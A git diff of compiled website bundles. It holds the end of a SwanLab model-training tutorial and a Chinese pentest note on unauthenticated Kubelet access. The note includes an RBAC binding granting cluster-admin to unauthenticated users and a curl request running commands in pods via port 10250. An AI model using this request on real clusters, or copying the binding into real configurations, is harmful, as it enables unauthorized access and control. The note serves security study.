project="MNIST-example",\n experiment_name="PlainCNN",\n config={\n "model": "ResNet18",\n "optim": "Adam",\n "lr": 1e-4,\n "batch_size": 256,\n "num_epochs": 10,\n "device": device,\n },\n )\n\n # \u8bbe\u7f6eMNIST\u8bad\u7ec3\u96c6\u548c\u9a8c\u8bc1\u96c6\n dataset = MNIST(os.getcwd(), train=True, download=True, transform=ToTensor())\n train_dataset, val_dataset = utils.data.random_split(dataset, [55000, 5000])\n\n train_dataloader = utils.data.DataLoader(train_dataset, batch_size=run.config.batch_size, shuffle=True)\n val_dataloader = utils.data.DataLoader(val_dataset, batch_size=8, shuffle=False)\n \n # \uff08\u53ef\u9009\uff09\u770b\u4e00\u4e0b\u6570\u636e\u96c6\u7684\u524d16\u5f20\u56fe\u50cf\n log_images(train_dataloader, 16)\n\n # \u521d\u59cb\u5316\u6a21\u578b\n model = ConvNet()\n model.to(torch.device(device))\n\n # \u6253\u5370\u6a21\u578b\n print(model)\n\n # \u5b9a\u4e49\u635f\u5931\u51fd\u6570\u548c\u4f18\u5316\u5668\n criterion = nn.CrossEntropyLoss()\n optimizer = optim.Adam(model.parameters(), lr=run.config.lr)\n\n # \u5f00\u59cb\u8bad\u7ec3\u548c\u6d4b\u8bd5\u5faa\u73af\n for epoch in range(1, run.config.num_epochs+1):\n swanlab.log({"train/epoch": epoch}, step=epoch)\n train(model, device, train_dataloader, optimizer, criterion, epoch, run.config.num_epochs)\n if epoch % 2 == 0: \n test(model, device, val_dataloader, epoch)\n\n # \u4fdd\u5b58\u6a21\u578b\n # \u5982\u679c\u4e0d\u5b58\u5728checkpoint\u6587\u4ef6\u5939\uff0c\u5219\u81ea\u52a8\u521b\u5efa\u4e00\u4e2a\n if not os.path.exists("checkpoint"):\n os.makedirs("checkpoint")\n torch.save(model.state_dict(), \'checkpoint/latest_checkpoint.pth\')\n'})}),"\n",(0,t.jsx)(e.p,{children:"\u8fd0\u884c\u4ee3\u7801\u540e\uff0c\u6211\u4eec\u67e5\u770b\u5b9e\u9a8c\u7ed3\u679c\uff1a"}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:a(94785).A+"",width:"1952",height:"1512"})}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:a(45802).A+"",width:"2912",height:"858"})}),"\n",(0,t.jsx)(e.h2,{id:"754-swanlab\u8ddf\u8e2ayolo\u6848\u4f8b",children:"7.5.4 SwanLab\u8ddf\u8e2aYOLO\u6848\u4f8b"}),"\n",(0,t.jsxs)(e.p,{children:["\u4e0b\u9762\u6211\u4eec\u4f7f\u7528\u4e00\u4e2aUltralytics\u6846\u67b6\u8bad\u7ec3Yolo\u6a21\u578b\u7684demo\u6765\u6f14\u793aSwanLab\u7684\u4f7f\u7528\u3002 ",(0,t.jsx)(e.a,{href:"https://swanlab.cn/@ZeyiLin/ultratest/runs/yux7vclmsmmsar9ear7u5/chart",children:"\u9884\u89c8\u94fe\u63a5"}),"\u3002"]}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:'from ultralytics import YOLO\nfrom swanlab.integration.ultralytics import add_swanlab_callback\n\n\nif __name__ == "__main__":\n model = YOLO("yolov8n.yaml")\n model.load()\n # \u6dfb\u52a0swanlab\u56de\u8c03\n add_swanlab_callback(model)\n\n model.train(\n data="./coco128.yaml",\n epochs=3, \n imgsz=320,\n )\n'})}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:a(62223).A+"",width:"2898",height:"1492"})}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:a(39764).A+"",width:"2904",height:"1472"})}),"\n",(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:a(60893).A+"",width:"2882",height:"1302"})}),"\n",(0,t.jsxs)(e.p,{children:["\u6211\u4eec\u53ef\u4ee5\u53d1\u73b0\uff0c\u4f7f\u7528swanlab\u53ef\u4ee5\u5f88\u65b9\u4fbf\u5730\u53ef\u89c6\u5316\u8bad\u7ec3\u8fc7\u7a0b\u548c\u5728\u7ebf\u67e5\u770b\u5b9e\u9a8c\u8fdb\u5c55\u3002\u66f4\u591a\u529f\u80fd\u8bf7\u89c1",(0,t.jsx)(e.a,{href:"https://docs.swanlab.cn/guide_cloud/general/what-is-swanlab.html",children:"\u5b98\u65b9\u6587\u6863"}),"\u3002"]})]})}function h(n={}){const{wrapper:e}={...(0,l.R)(),...n.components};return e?(0,t.jsx)(e,{...n,children:(0,t.jsx)(d,{...n})}):d(n)}},77973:(n,e,a)=>{a.d(e,{A:()=>s});const s=a.p+"assets/images/swanlab_login-6da8ac9a321f6267acc3ac4fba5bc134.png"},94785:(n,e,a)=>{a.d(e,{A:()=>s});const s=a.p+"assets/images/swanlab_mnist_1-1fc246f048c3d00c9fac3a7cd2c4e010.png"}}]); \ No newline at end of file diff --git a/assets/js/83598282.cea8025e.js b/assets/js/83598282.cea8025e.js new file mode 100644 index 0000000..acbcc5c --- /dev/null +++ b/assets/js/83598282.cea8025e.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[7058],{28453:(e,t,n)=>{n.d(t,{R:()=>c,x:()=>i});var s=n(96540);const r={},l=s.createContext(r);function c(e){const t=s.useContext(l);return s.useMemo(function(){return"function"==typeof e?e(t):{...t,...e}},[t,e])}function i(e){let t;return t=e.disableParentContext?"function"==typeof e.components?e.components(r):e.components||r:c(e.components),s.createElement(l.Provider,{value:t},e.children)}},43074:(e,t,n)=>{n.r(t),n.d(t,{assets:()=>o,contentTitle:()=>i,default:()=>h,frontMatter:()=>c,metadata:()=>s,toc:()=>a});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743/Kubelet","title":"Kubelet","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/04.\u5185\u7f51\u6e17\u900f/02.kubernetes/03.k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743/03.Kubelet.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/04.\u5185\u7f51\u6e17\u900f/02.kubernetes/03.k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743/Kubelet","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743/Kubelet","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/04.\u5185\u7f51\u6e17\u900f/02.kubernetes/03.k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743/03.Kubelet.md","tags":[],"version":"current","sidebarPosition":3,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"etcd","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/kubernetes/k8s\u4e0b\u7684\u5404\u79cd\u672a\u6388\u6743/Etcd"},"next":{"title":"k3s\u5b89\u88c5","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5185\u7f51\u6e17\u900f/k3s\u5b89\u88c5/"}}');var r=n(74848),l=n(28453);const c={},i="kubelet",o={},a=[{value:"\u5229\u7528",id:"\u5229\u7528",level:2},{value:"\u53c2\u8003",id:"\u53c2\u8003",level:2}];function d(e){const t={a:"a",code:"code",h1:"h1",h2:"h2",header:"header",img:"img",li:"li",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,l.R)(),...e.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsxs)(t.table,{children:[(0,r.jsx)(t.thead,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(t.tbody,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.td,{style:{textAlign:"left"},children:(0,r.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(t.td,{style:{textAlign:"left"},children:"2025-08-19 16:44:07"})]})})]}),"\n",(0,r.jsx)(t.header,{children:(0,r.jsx)(t.h1,{id:"kubelet",children:(0,r.jsx)(t.a,{href:"https://kubernetes.io/zh-cn/docs/concepts/overview/components/#kubelet",children:"kubelet"})})}),"\n",(0,r.jsxs)(t.p,{children:[(0,r.jsx)(t.code,{children:"kubelet"})," \u4f1a\u5728\u96c6\u7fa4\u4e2d\u6bcf\u4e2a",(0,r.jsx)(t.a,{href:"https://kubernetes.io/zh-cn/docs/concepts/architecture/nodes/",children:"\u8282\u70b9\uff08node\uff09"}),"\u4e0a\u8fd0\u884c\u3002 \u5b83\u4fdd\u8bc1",(0,r.jsx)(t.a,{href:"https://kubernetes.io/zh-cn/docs/concepts/overview/what-is-kubernetes/#why-containers",children:"\u5bb9\u5668\uff08containers\uff09"}),"\u90fd\u8fd0\u884c\u5728 ",(0,r.jsx)(t.a,{href:"https://kubernetes.io/zh-cn/docs/concepts/workloads/pods/",children:"Pod"})," \u4e2d\u3002"]}),"\n",(0,r.jsx)(t.p,{children:"kubelet \u63a5\u6536\u4e00\u7ec4\u901a\u8fc7\u5404\u7c7b\u673a\u5236\u63d0\u4f9b\u7ed9\u5b83\u7684 PodSpecs\uff0c \u786e\u4fdd\u8fd9\u4e9b PodSpecs \u4e2d\u63cf\u8ff0\u7684\u5bb9\u5668\u5904\u4e8e\u8fd0\u884c\u72b6\u6001\u4e14\u5065\u5eb7\u3002 kubelet \u4e0d\u4f1a\u7ba1\u7406\u4e0d\u662f\u7531 Kubernetes \u521b\u5efa\u7684\u5bb9\u5668."}),"\n",(0,r.jsx)(t.pre,{children:(0,r.jsx)(t.code,{className:"language-sh",children:"systemctl status kubelet\n"})}),"\n",(0,r.jsx)(t.p,{children:(0,r.jsx)(t.img,{src:"https://cdn.wjlin0.com/img/202508191644074.png",alt:"image-20230713223539104"})}),"\n",(0,r.jsx)(t.p,{children:"\u6bcf\u4e00\u4e2aNode\u8282\u70b9\u90fd\u6709\u4e00\u4e2akubelet\u670d\u52a1\uff0ckubelet\u76d1\u542c\u4e8610250\uff0c10248\uff0c10255\u7b49\u7aef\u53e3\u3002"}),"\n",(0,r.jsx)(t.p,{children:"\u5176\u4e2d10250\u7aef\u53e3\u662fkubelet\u4e0eapiserver\u8fdb\u884c\u901a\u4fe1\u7684\u4e3b\u8981\u7aef\u53e3\uff0c\u901a\u8fc7\u8be5\u7aef\u53e3kubelet\u53ef\u4ee5\u77e5\u9053\u81ea\u5df1\u5f53\u524d\u5e94\u8be5\u5904\u7406\u7684\u4efb\u52a1\uff0c\u8be5\u7aef\u53e3\u5728\u6700\u65b0\u7248Kubernetes\u662f\u6709\u9274\u6743\u7684\uff0c\u4f46\u5728\u5f00\u542f\u4e86\u63a5\u53d7\u533f\u540d\u8bf7\u6c42\u7684\u60c5\u51b5\u4e0b\uff0c\u4e0d\u5e26\u9274\u6743\u4fe1\u606f\u7684\u8bf7\u6c42\u4e5f\u53ef\u4ee5\u4f7f\u752810250\u63d0\u4f9b\u7684\u80fd\u529b\uff1b\u56e0\u4e3aKubernetes\u6d41\u884c\u65e9\u671f\uff0c\u5f88\u591a\u6316\u77ff\u6728\u9a6c\u57fa\u4e8e\u8be5\u7aef\u53e3\u8fdb\u884c\u4f20\u64ad\u548c\u5229\u7528\uff0c\u6240\u4ee5\u8be5\u7ec4\u4ef6\u5728\u5b89\u5168\u9886\u57df\u90e8\u5206\u7fa4\u4f53\u5185\u90e8\u7684\u77e5\u540d\u5ea6\u53cd\u800c\u4f1a\u9ad8\u4e8e APIServer\u3002"}),"\n",(0,r.jsx)(t.p,{children:"\u5982\u679c\u7528\u6237\u5f00\u542f\u4e86\u533f\u540d\u8bbf\u95eekubelet\u90a3\u4e48\uff0c\u653b\u51fb\u8005\u53ef\u4efb\u610f\u5728pods \u6267\u884c\u547d\u4ee4\u3002\u4f46\u4ec5\u4ec5\u5f00\u542f anonymous: true \u8fdc\u8fdc\u4e0d\u591f\uff0c\u5f80\u5f80\u8fd8\u8981\u540c\u65f6\u914d\u7f6eapiserver\u7684\u8eab\u4efd\uff0c\u624d\u80fd\u5229\u7528\u3002"}),"\n",(0,r.jsx)(t.p,{children:(0,r.jsx)(t.img,{src:"https://cdn.wjlin0.com/img/202508191644075.png",alt:"image-20230713223829297"})}),"\n",(0,r.jsx)(t.pre,{children:(0,r.jsx)(t.code,{className:"language-sh",children:"[root@k8s-master01 k8s.yaml]# cat rbac.yaml \napiVersion: rbac.authorization.k8s.io/v1\nkind: ClusterRoleBinding\nmetadata:\n name: anonymous-access\nroleRef:\n apiGroup: rbac.authorization.k8s.io\n kind: ClusterRole\n name: cluster-admin\nsubjects:\n- kind: Group\n name: system:unauthenticated\n[root@k8s-master01 k8s.yaml]# kubectl apply -f rbac.yaml\n"})}),"\n",(0,r.jsx)(t.p,{children:(0,r.jsx)(t.img,{src:"https://cdn.wjlin0.com/img/202508191644076.png",alt:"image-20230713223929599"})}),"\n",(0,r.jsx)(t.h2,{id:"\u5229\u7528",children:"\u5229\u7528"}),"\n",(0,r.jsx)(t.p,{children:"\u67e5\u770b\u53ef\u4ee5\u7528pods"}),"\n",(0,r.jsx)(t.pre,{children:(0,r.jsx)(t.code,{className:"language-sh",children:"# \u6267\u884c\u547d\u4ee4\ncurl -k \"https://192.168.3.105:10250/run/<namespace>/<pod-name>/<container-name>\" -d 'cmd=ls'\n"})}),"\n",(0,r.jsx)(t.p,{children:(0,r.jsx)(t.img,{src:"https://cdn.wjlin0.com/img/202508191644077.png",alt:"image-20230713231420098"})}),"\n",(0,r.jsx)(t.h2,{id:"\u53c2\u8003",children:"\u53c2\u8003"}),"\n",(0,r.jsxs)(t.ul,{children:["\n",(0,r.jsx)(t.li,{children:(0,r.jsx)(t.a,{href:"https://security.tencent.com/index.php/blog/msg/183",children:"https://security.tencent.com/index.php/blog/msg/183"})}),"\n",(0,r.jsx)(t.li,{children:(0,r.jsx)(t.a,{href:"https://www.deepnetwork.com/blog/2020/01/13/kubelet-api.html",children:"https://www.deepnetwork.com/blog/2020/01/13/kubelet-api.html"})}),"\n"]})]})}function h(e={}){const{wrapper:t}={...(0,l.R)(),...e.components};return t?(0,r.jsx)(t,{...e,children:(0,r.jsx)(d,{...e})}):d(e)}}}]); \ No newline at end of file diff --git a/assets/js/842307eb.b526b273.js b/assets/js/842307eb.b526b273.js new file mode 100644 index 0000000..75fd9f2 --- /dev/null +++ b/assets/js/842307eb.b526b273.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[6508],{20487:(n,e,c)=>{c.d(e,{A:()=>r});const r="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAPwAAADACAYAAAAgEw6xAAAH33RFWHRteGZpbGUAJTNDbXhmaWxlJTIwaG9zdCUzRCUyMkVsZWN0cm9uJTIyJTIwbW9kaWZpZWQlM0QlMjIyMDIyLTAyLTA1VDEzJTNBMTIlM0ExNi44NTZaJTIyJTIwYWdlbnQlM0QlMjI1LjAlMjAoTWFjaW50b3NoJTNCJTIwSW50ZWwlMjBNYWMlMjBPUyUyMFglMjAxMF8xNF81KSUyMEFwcGxlV2ViS2l0JTJGNTM3LjM2JTIwKEtIVE1MJTJDJTIwbGlrZSUyMEdlY2tvKSUyMGRyYXcuaW8lMkYxNC41LjElMjBDaHJvbWUlMkY4OS4wLjQzODkuODIlMjBFbGVjdHJvbiUyRjEyLjAuMSUyMFNhZmFyaSUyRjUzNy4zNiUyMiUyMGV0YWclM0QlMjJUVWlFOXFHTldOQVFhTndrZ05RcSUyMiUyMHZlcnNpb24lM0QlMjIxNC41LjElMjIlMjB0eXBlJTNEJTIyZGV2aWNlJTIyJTIwcGFnZXMlM0QlMjIyJTIyJTNFJTNDZGlhZ3JhbSUyMGlkJTNEJTIyeWI4Wi1PbGFsOHFJNndJdUxEOGYlMjIlMjBuYW1lJTNEJTIyJUU3JUFDJUFDJTIwMSUyMCVFOSVBMSVCNSUyMiUzRTNaWGRqcHN3RUlXZnh0TDJvaElHUWNobFRFbXJTdTJ1R2xXOTltSXZXREUyY3B3Uzh2UTFZWUFRV0cxYnFZclVLJTJCd3olMkZtRyUyQk03WlJrSlNuajRaV3hSZk51RVMlMkJ4MDRvJTJCSUI4SCUyQk00Y3A5V2FUb2xYb1dka0J2QllOQW83TVNaZyUyQmlCZWhTTUh5WURyZGJTaW1vcVpsb3BudG1KUm8zUjlYVFlpNWJUWFN1YTg1bXd5NmljcXo4RXN3Vms0YTlHJTJGUk1YZWRIdmpLTjFGeWxwUHhneU9SU1U2ZnBLQ2xJVUpFWnIyN1hLVThKbEM2JTJGbjBzM2J2aElkZnN4d1pYOW53bmt0ViUyQkd6SkRyOSUyQm4xZmYlMkZ0YzElMkJINVBhenlrOG9qSkl6U0ZTSVlFWUxTRUsxVEZKTUgyMVQ4SFNSaG01Nk0wVWZGZUx1NGh3SlNGOEx5WFVXek5scTdXbkJhWVV2cGV0ZzFYN1N5VzFvSzJaYkI0OVBUNDQ2cUElMkJoZ09vNWMlMkYyQ04zZyUyQmtIU01DUDhpTjVhZFhNOGNEVDFlSVhKZmNtc1lOZ1FtJTJCQnhaQURmb2g5T3ZSVWR6YlZGeTVHWUZHb1lqeVllbVJzMnNBNmolMkZBN2k5Z0QxSHNJWkk4WE1UJTJGQ1hlQTc0MDdXTUFkb1RoRm0lMkZEQ2ZZczJ3V0RBakx3allhZDRPMnlKbHRvNFJXbkZXN1pDeWh1SlNwRXIxODBjT2U1MDBuSVY3bkxaUUtBVWpMWGJMUG81ZGZ5dWxxNXZIUFhtamtZTGh2ciUyRnl0QndidWl0YSUyQjY2cmRwbWRqU3lJWVptZTI3ZlBqZ2o4N3NmSXh5OWZXc3RuU0w4RjlSZGQzeUlMckdyNXp4SWZ3RSUzRCUzQyUyRmRpYWdyYW0lM0UlM0NkaWFncmFtJTIwaWQlM0QlMjJ3Uk53U2tKVUc1OUx1MmF0Q3ZhdSUyMiUyMG5hbWUlM0QlMjIlRTclQUMlQUMlMjAyJTIwJUU5JUExJUI1JTIyJTNFN1paZGI1c3dGSVolMkZqYVh1b2xKc041QmVEa28zYWVuSHhNVXVLd3U3WU5YWTFIRUMyYSUyQmZLWWNRUXFTcTA5cHU2cTVpUHpiSDhmdWNSQ0FhbDgwWHk2cml5bkNoRUpueEJ0RUxSQWpHaThCJTJGdEdUYmtVVTQ3MEJ1SllkTkEwamxUd0Z3Qm5RdHVWaU5OanBqbEpQVkdHWkdhNUc1RVdQV21ucTg3ZDZvOGFrVnk4VUVwQmxUVSUyRnBEY2xmQUxVZzQ4SzlDNWtWJTJGTWc3T3U1V1M5WnZoSnF1Q2NWUHZJWm9nR2x0alhEY3FtMWlvTnJ3JTJCbDgwMXIwaTQlMkZMNDhmWGpNbHVuajNiZm03clFyZHZtU1IzWlhzRUs3UDF1YWRLVTNUSzBoTHkwVlhOZHQlMkJ3eXRXV3N1MmpvelJLTzZrRTZrRmN2YTFkcDNqV2VGSzVXZllUJTJCOE45cGRzbEtxdG1GdWJtOXZVcVpYd0tFOWNPRG5LMmZOdzg0SjZYZkFxWkQ1Umxnbm1nT1R6OFNBZDI1OFV3dFRDbWUzJTJGam1vUW1aUUd2cVp6R0ZlRDkyQmUlMkJYRlhtY0V3QmcwWkw0clBZVHVC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